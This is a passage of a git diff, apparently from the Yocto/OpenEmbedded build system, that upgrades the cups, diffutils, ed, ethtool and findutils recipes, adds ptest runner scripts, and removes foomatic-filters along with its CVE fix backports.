+From 1724f7bcdbcfdb445778f8a2e530c5c094c18c10 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 13 Jul 2021 12:56:30 +0100
+Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this
+ breaks multilib builds.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ config-scripts/cups-directories.m4 | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
+index 2033d47..230166e 100644
+--- a/config-scripts/cups-directories.m4
++++ b/config-scripts/cups-directories.m4
+@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS])
+ AS_CASE(["$host_os_name"], [*-gnu], [
+ # GNUs
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ], [*bsd* | darwin*], [
+ # *BSD and Darwin (macOS)
+ INSTALL_SYSV=""
+@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [
+ ], [*], [
+ # All others
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ])
+
+ AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.])
diff --git a/meta/recipes-extended/cups/cups/use_echo_only_in_init.patch b/meta/recipes-extended/cups/cups/use_echo_only_in_init.patch
deleted file mode 100644
index 696f1374d9..0000000000
--- a/meta/recipes-extended/cups/cups/use_echo_only_in_init.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Index: cups-1.6.1/scheduler/cups.sh.in
-===================================================================
---- cups-1.6.1.orig/scheduler/cups.sh.in
-+++ cups-1.6.1/scheduler/cups.sh.in
-@@ -67,7 +67,7 @@ case "`uname`" in
- ECHO_ERROR=:
- ;;
-
-- Linux*)
-+ DisableLinux*)
- IS_ON=/bin/true
- if test -f /etc/init.d/functions; then
- . /etc/init.d/functions
diff --git a/meta/recipes-extended/cups/cups/volatiles.99_cups b/meta/recipes-extended/cups/cups/volatiles.99_cups
new file mode 100644
index 0000000000..cc0e19e4c8
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/volatiles.99_cups
@@ -0,0 +1,2 @@
+# <type> <owner> <group> <mode> <path> <linksource>
+d root root 0755 /var/log/cups none
diff --git a/meta/recipes-extended/cups/cups_2.2.6.bb b/meta/recipes-extended/cups/cups_2.2.6.bb
deleted file mode 100644
index 3aa934bc03..0000000000
--- a/meta/recipes-extended/cups/cups_2.2.6.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cups.inc
-
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=f212b4338db0da8cb892e94bf2949460"
-
-SRC_URI[md5sum] = "e91c26d8d97b5a1630a962f530f02192"
-SRC_URI[sha256sum] = "40385778c2b3bdf55030d1c999734e22774c79e3425d91339ce677825620169b"
diff --git a/meta/recipes-extended/cups/cups_2.4.7.bb b/meta/recipes-extended/cups/cups_2.4.7.bb
new file mode 100644
index 0000000000..f4b0282e4c
--- /dev/null
+++ b/meta/recipes-extended/cups/cups_2.4.7.bb
@@ -0,0 +1,5 @@
+require cups.inc
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI[sha256sum] = "dd54228dd903526428ce7e37961afaed230ad310788141da75cebaa08362cf6c"
diff --git a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
index 65a99fc28d..0e155b6c95 100644
--- a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
+++ b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
@@ -1,7 +1,8 @@
SUMMARY = "Collection of autoconf m4 macros"
SECTION = "base"
HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/"
-LICENSE = "GPLv2"
+DESCRIPTION = "A collection of autoconf macros, plus an autogen.sh script that can be used with them."
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}.berlios/${BP}.tar.bz2"
@@ -13,7 +14,7 @@ do_configure() {
}
do_install() {
- oe_runmake CWAUTOMACROSPREFIX=${D}${prefix} install
+ oe_runmake LABEL=`date -d @${SOURCE_DATE_EPOCH} +%Y%m%d` CWAUTOMACROSPREFIX=${D}${prefix} install
# cleanup buildpaths in autogen.sh
sed -i -e 's,${D},,g' ${D}${prefix}/share/cwautomacros/scripts/autogen.sh
diff --git a/meta/recipes-extended/diffutils/diffutils-3.6/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/diffutils/diffutils-3.6/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-extended/diffutils/diffutils-3.6/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-extended/diffutils/diffutils-3.6/0001-explicitly-disable-replacing-getopt.patch b/meta/recipes-extended/diffutils/diffutils-3.6/0001-explicitly-disable-replacing-getopt.patch
deleted file mode 100644
index 351f87cab5..0000000000
--- a/meta/recipes-extended/diffutils/diffutils-3.6/0001-explicitly-disable-replacing-getopt.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Subject: explicitly disable replacing getopt
-
-Explicitly disable replacing getopt to avoid compilation error like below.
-
- xstrtol-error.c:84:26: error: invalid use of undefined type 'struct rpl_option'
-
-Upstream-Status: Inappropriate [workaround]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- m4/getopt.m4 | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/m4/getopt.m4 b/m4/getopt.m4
-index 3ebc7b7..8934426 100644
---- a/m4/getopt.m4
-+++ b/m4/getopt.m4
-@@ -22,8 +22,8 @@ AC_DEFUN([gl_FUNC_GETOPT_POSIX],
- fi
- ])
- if test $REPLACE_GETOPT = 1; then
-- dnl Arrange for getopt.h to be created.
-- gl_GETOPT_SUBSTITUTE_HEADER
-+ dnl Explicitly disable replacing getopt
-+ :
- fi
- ])
-
---
-2.11.0
-
diff --git a/meta/recipes-extended/diffutils/diffutils-3.6/run-ptest b/meta/recipes-extended/diffutils/diffutils-3.6/run-ptest
deleted file mode 100644
index 695c5e8a7b..0000000000
--- a/meta/recipes-extended/diffutils/diffutils-3.6/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-make -C tests check-TESTS
diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc
index 7c5be50fb7..194d6e5a1b 100644
--- a/meta/recipes-extended/diffutils/diffutils.inc
+++ b/meta/recipes-extended/diffutils/diffutils.inc
@@ -7,6 +7,7 @@ SECTION = "base"
inherit autotools texinfo update-alternatives gettext
-ALTERNATIVE_${PN} = "diff cmp"
+ALTERNATIVE:${PN} = "diff cmp"
ALTERNATIVE_PRIORITY = "100"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
new file mode 100644
index 0000000000..32793233f9
--- /dev/null
+++ b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
@@ -0,0 +1,29 @@
+From f31395c931bc633206eccfcfaaaa5d15021a3e86 Mon Sep 17 00:00:00 2001
+From: Peiran Hong <peiran.hong@windriver.com>
+Date: Thu, 5 Sep 2019 15:42:22 -0400
+Subject: [PATCH] Skip strip-trailing-cr test case
+
+Skip the test "strip-trailing-cr" since it requires valgrind to
+work, but valgrind is considered too heavy-weight for diffutils
+package.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Peiran Hong <peiran.hong@windriver.com>
+
+---
+ tests/Makefile.am | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index 79bacfb..4adb4d7 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -22,7 +22,6 @@ TESTS = \
+ stdin \
+ strcoll-0-names \
+ filename-quoting \
+- strip-trailing-cr \
+ timezone \
+ colors \
+ y2038-vs-32bit
diff --git a/meta/recipes-extended/diffutils/diffutils/run-ptest b/meta/recipes-extended/diffutils/diffutils/run-ptest
new file mode 100644
index 0000000000..ad467d9bd0
--- /dev/null
+++ b/meta/recipes-extended/diffutils/diffutils/run-ptest
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+abs_ptestdir=`echo "$(cd "$(dirname "$0")"; pwd)"`
+make -C $abs_ptestdir/tests check-TESTS abs_top_srcdir="$abs_ptestdir"
diff --git a/meta/recipes-extended/diffutils/diffutils_3.6.bb b/meta/recipes-extended/diffutils/diffutils_3.10.bb
index deadd62c65..08e8305612 100644
--- a/meta/recipes-extended/diffutils/diffutils_3.6.bb
+++ b/meta/recipes-extended/diffutils/diffutils_3.10.bb
@@ -1,24 +1,28 @@
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
require diffutils.inc
SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
file://run-ptest \
-"
-SRC_URI_append_libc-glibc = " file://0001-explicitly-disable-replacing-getopt.patch"
+ file://0001-Skip-strip-trailing-cr-test-case.patch \
+ "
-SRC_URI[md5sum] = "07cf286672ced26fba54cd0313bdc071"
-SRC_URI[sha256sum] = "d621e8bdd4b573918c8145f7ae61817d1be9deb4c8d2328a65cea8e11d783bd6"
+SRC_URI[sha256sum] = "90e5e93cc724e4ebe12ede80df1634063c7a855692685919bfe60b556c9bd09e"
EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
+# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators
+CFLAGS:mingw32 = " -DSA_RESTART=0"
+
# Fix "Argument list too long" error when len(TMPDIR) = 410
acpaths = "-I ./m4"
+EXTRA_OEMAKE:append:mingw32 = " LIBS='-lbcrypt'"
inherit ptest
+RDEPENDS:${PN}-ptest += "make perl"
+
do_install_ptest() {
t=${D}${PTEST_PATH}
install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
diff --git a/meta/recipes-extended/ed/ed_1.14.2.bb b/meta/recipes-extended/ed/ed_1.14.2.bb
deleted file mode 100644
index 87d03b10b1..0000000000
--- a/meta/recipes-extended/ed/ed_1.14.2.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Line-oriented text editor"
-HOMEPAGE = "http://www.gnu.org/software/ed/"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \
- file://ed.h;endline=20;md5=4e36b7a40e137f42aee718165590d125 \
- file://main.c;endline=17;md5=c5b8f78f115df187af76868a2aead16a"
-
-SECTION = "base"
-
-# LSB states that ed should be in /bin/
-bindir = "${base_bindir}"
-
-# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
-SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
-UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
-
-SRC_URI[md5sum] = "273d04778b2a51f7c3cbfcd2001876bf"
-SRC_URI[sha256sum] = "f57962ba930d70d02fc71d6be5c5f2346b16992a455ab9c43be7061dec9810db"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-inherit texinfo
-
-do_configure() {
- ${S}/configure
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
- # Info dir listing isn't interesting at this point so remove it if it exists.
- if [ -e "${D}${infodir}/dir" ]; then
- rm -f ${D}${infodir}/dir
- fi
-}
diff --git a/meta/recipes-extended/ed/ed_1.20.1.bb b/meta/recipes-extended/ed/ed_1.20.1.bb
new file mode 100644
index 0000000000..9ae53002c3
--- /dev/null
+++ b/meta/recipes-extended/ed/ed_1.20.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Line-oriented text editor"
+HOMEPAGE = "http://www.gnu.org/software/ed/"
+DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands."
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
+ file://ed.h;endline=20;md5=c3212b6c53b09668107420af9368c0ef \
+ file://main.c;endline=17;md5=e5d2ae5ddd1ecb87dc71702c06dd06dc \
+ "
+
+SECTION = "base"
+
+CVE_PRODUCT = "gnu:ed"
+
+# LSB states that ed should be in /bin/
+bindir = "${base_bindir}"
+
+# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
+SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
+UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
+
+SRC_URI[sha256sum] = "b1a463b297a141f9876c4b1fcd01477f645cded92168090e9a35db2af4babbca"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+inherit texinfo
+
+do_configure() {
+ ${S}/configure
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+ # Info dir listing isn't interesting at this point so remove it if it exists.
+ if [ -e "${D}${infodir}/dir" ]; then
+ rm -f ${D}${infodir}/dir
+ fi
+}
diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
index bf66267e81..69df8632f2 100644
--- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
+++ b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
@@ -1,3 +1,8 @@
+From 758fde7186730ee331a0ee6149276cd412766ee0 Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Wed, 28 May 2014 18:59:54 +0200
+Subject: [PATCH] ethtool: use serial-tests config needed by ptest.
+
ptest needs buildtest-TESTS and runtest-TESTS targets.
serial-tests is required to generate those targets.
@@ -5,15 +10,20 @@ Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Upstream-Status: Inappropriate
(default automake behavior incompatible with ptest)
-diff -ruN a/configure.ac b/configure.ac
---- a/configure.ac 2014-05-28 18:19:13.513980977 +0200
-+++ b/configure.ac 2014-05-28 18:19:21.129660215 +0200
-@@ -2,7 +2,7 @@
- AC_INIT(ethtool, 3.14, netdev@vger.kernel.org)
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index c871558..8ea1eaa 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -3,7 +3,7 @@ AC_INIT(ethtool, 6.7, netdev@vger.kernel.org)
AC_PREREQ(2.52)
+ AC_CONFIG_MACRO_DIR([m4])
AC_CONFIG_SRCDIR([ethtool.c])
--AM_INIT_AUTOMAKE([gnu])
-+AM_INIT_AUTOMAKE([gnu serial-tests])
+-AM_INIT_AUTOMAKE([gnu subdir-objects])
++AM_INIT_AUTOMAKE([gnu subdir-objects serial-tests])
AC_CONFIG_HEADERS([ethtool-config.h])
AM_MAINTAINER_MODE
diff --git a/meta/recipes-extended/ethtool/ethtool_4.13.bb b/meta/recipes-extended/ethtool/ethtool_6.7.bb
index c862a57955..33df0e0e80 100644
--- a/meta/recipes-extended/ethtool/ethtool_4.13.bb
+++ b/meta/recipes-extended/ethtool/ethtool_6.7.bb
@@ -2,7 +2,7 @@ SUMMARY = "Display or change ethernet card settings"
DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
SECTION = "console/network"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
@@ -11,11 +11,16 @@ SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
file://avoid_parallel_tests.patch \
"
-SRC_URI[md5sum] = "2ba44eb0ca96752392e9bf8dc83ba302"
-SRC_URI[sha256sum] = "d311c4b557c44c5248ac5436b9e19c391a60d8e4830b6a7f41be16d89c0556de"
+SRC_URI[sha256sum] = "ace0e95a03b38208af4ebacb415244568ace44c5d5a279ea434844f900179c75"
-inherit autotools ptest
-RDEPENDS_${PN}-ptest += "make"
+UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
+
+inherit autotools ptest bash-completion pkgconfig
+
+RDEPENDS:${PN}-ptest += "make bash"
+
+PACKAGECONFIG ?= "netlink"
+PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
do_compile_ptest() {
oe_runmake buildtest-TESTS
@@ -24,7 +29,9 @@ do_compile_ptest() {
do_install_ptest () {
cp ${B}/Makefile ${D}${PTEST_PATH}
install ${B}/test-cmdline ${D}${PTEST_PATH}
- install ${B}/test-features ${D}${PTEST_PATH}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then
+ install ${B}/test-features ${D}${PTEST_PATH}
+ fi
install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
}
diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc
index ad3642923c..03cf2a8d72 100644
--- a/meta/recipes-extended/findutils/findutils.inc
+++ b/meta/recipes-extended/findutils/findutils.inc
@@ -6,11 +6,14 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/"
BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils"
SECTION = "console/utils"
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
+ file://autoconf-2.73.patch \
+ file://run-ptest \
+ "
-inherit autotools gettext texinfo update-alternatives upstream-version-is-even
+inherit autotools gettext texinfo update-alternatives ptest
-ALTERNATIVE_${PN} = "find xargs"
+ALTERNATIVE:${PN} = "find xargs"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 8729e1b447..0000000000
--- a/meta/recipes-extended/findutils/findutils/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: findutils-4.5.14/gl/lib/Makefile.am
-===================================================================
---- findutils-4.5.14.orig/gl/lib/Makefile.am
-+++ findutils-4.5.14/gl/lib/Makefile.am
-@@ -1220,7 +1220,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
new file mode 100644
index 0000000000..63728b5f91
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
@@ -0,0 +1,24 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next findutils upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: findutils-4.9.0/gl/m4/largefile.m4
+===================================================================
+--- findutils-4.9.0.orig/gl/m4/largefile.m4
++++ findutils-4.9.0/gl/m4/largefile.m4
+@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest
new file mode 100644
index 0000000000..ec71583c51
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/run-ptest
@@ -0,0 +1,57 @@
+#!/bin/bash
+
+# create temporary symlink to workaround missing oldfind
+ln -s /usr/bin/find /tmp/oldfind
+# make oldfind visible
+export PATH="/tmp:${PATH}"
+
+export built_programs="find xargs locate updatedb"
+
+# this gets substituted by sed during build
+export VERSION="__run_ptest_version__"
+
+# define missing functions for tests/init.sh
+fu_path_prepend_ () {
+ path_prepend_ $@
+}
+
+print_ver_ () {
+ :
+}
+
+skip_if_root_ () {
+ [ $(id -u) = 0 ] && exit 77;
+}
+
+require_root_ () {
+ [ $(id -u) = 0 ] || exit 77;
+}
+
+expensive_ () {
+ :
+}
+
+export -f fu_path_prepend_
+export -f print_ver_
+export -f skip_if_root_
+export -f require_root_
+export -f expensive_
+
+
+for f in tests/*/*.sh; do
+ bash $f ;
+ case $? in
+ 0 )
+ echo -n "PASS";;
+ 77 )
+ echo -n "SKIP";;
+ * )
+ echo -n "FAIL";;
+ esac
+ echo ": $f"
+done
+
+#remove symlink
+rm -f /tmp/oldfind
+
+echo
diff --git a/meta/recipes-extended/findutils/findutils_4.6.0.bb b/meta/recipes-extended/findutils/findutils_4.6.0.bb
deleted file mode 100644
index 072d3b3c05..0000000000
--- a/meta/recipes-extended/findutils/findutils_4.6.0.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-require findutils.inc
-
-# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
-
-DEPENDS = "bison-native"
-
-SRC_URI += "file://0001-Unset-need_charset_alias-when-building-for-musl.patch"
-
-SRC_URI[md5sum] = "9936aa8009438ce185bea2694a997fc1"
-SRC_URI[sha256sum] = "ded4c9f73731cd48fec3b6bdaccce896473b6d8e337e9612e16cf1431bb1169d"
-
-# http://savannah.gnu.org/bugs/?27299
-CACHED_CONFIGUREVARS += "${@bb.utils.contains('DISTRO_FEATURES', 'libc-posix-clang-wchar', 'gl_cv_func_wcwidth_works=yes', '', d)}"
-
-EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
diff --git a/meta/recipes-extended/findutils/findutils_4.9.0.bb b/meta/recipes-extended/findutils/findutils_4.9.0.bb
new file mode 100644
index 0000000000..074817df27
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils_4.9.0.bb
@@ -0,0 +1,27 @@
+require findutils.inc
+
+# GPL-2.0-or-later (<< 4.2.32), GPL-3.0-or-later (>= 4.2.32)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "a2bfb8c09d436770edc59f50fa483e785b161a3b7b9d547573cb08065fd462fe"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+# http://savannah.gnu.org/bugs/?27299
+CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
+
+EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
+
+# need od from coreutils for -t option
+RDEPENDS:${PN}-ptest += "bash sed grep coreutils"
+
+do_install_ptest:class-target() {
+ mkdir -p ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+
+ # substitute value in run-ptest with actual version
+ sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
+
+}
diff --git a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch b/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch
deleted file mode 100644
index aaedc88aa3..0000000000
--- a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8327.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Upstream-Status: Backport
-
-
-http://bzr.linuxfoundation.org/loggerhead/openprinting/cups-filters/revision/7406
-
-Hand applied change to util.c. Fix was for cups-filters but also applied to foomatic-filters.
-
-CVE: CVE-2015-8327
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: util.c
-===================================================================
---- a/util.c
-+++ b/util.c
-@@ -31,7 +31,7 @@
- #include <assert.h>
-
-
--const char* shellescapes = "|;<>&!$\'\"#*?()[]{}";
-+const char* shellescapes = "|;<>&!$\'\"`#*?()[]{}";
-
- const char * temp_dir()
- {
diff --git a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch b/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch
deleted file mode 100644
index dc973c4592..0000000000
--- a/meta/recipes-extended/foomatic/foomatic-filters-4.0.17/CVE-2015-8560.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Upstream-Status: Backport
-
-
-http://bzr.linuxfoundation.org/loggerhead/openprinting/cups-filters/revision/7419
-
-Hand applied change to util.c. Fix was for cups-filters but also applied to foomatic-filters.
-
-CVE: CVE-2015-8560
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: util.c
-===================================================================
---- a/util.c
-+++ b/util.c
-@@ -31,7 +31,7 @@
- #include <assert.h>
-
-
--const char* shellescapes = "|<>&!$\'\"#*?()[]{}";
-+const char* shellescapes = "|;<>&!$\'\"#*?()[]{}";
-
- const char * temp_dir()
- {
diff --git a/meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb b/meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb
deleted file mode 100644
index 742c9a5cf2..0000000000
--- a/meta/recipes-extended/foomatic/foomatic-filters_4.0.17.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "OpenPrinting printer support - filters"
-HOMEPAGE = "https://wiki.linuxfoundation.org/openprinting/start"
-DESCRIPTION = "Foomatic is a printer database designed to make it easier to set up \
-common printers for use with UNIX-like operating systems.\
-It provides the "glue" between a print spooler (like CUPS or lpr) and \
-the printer, by processing files sent to the printer. \
- \
-This package consists of filters used by the printer spoolers \
-to convert the incoming PostScript data into the printer's native \
-format using a printer-specific, but spooler-independent PPD file. \
-"
-
-DEPENDS += "cups perl libxml2"
-PR = "r1"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/foomatic-filters-${PV}/COPYING;md5=393a5ca445f6965873eca0259a17f833"
-
-SRC_URI = "http://www.openprinting.org/download/foomatic/foomatic-filters-${PV}.tar.gz"
-
-SRC_URI += "file://CVE-2015-8560.patch \
- file://CVE-2015-8327.patch \
- "
-
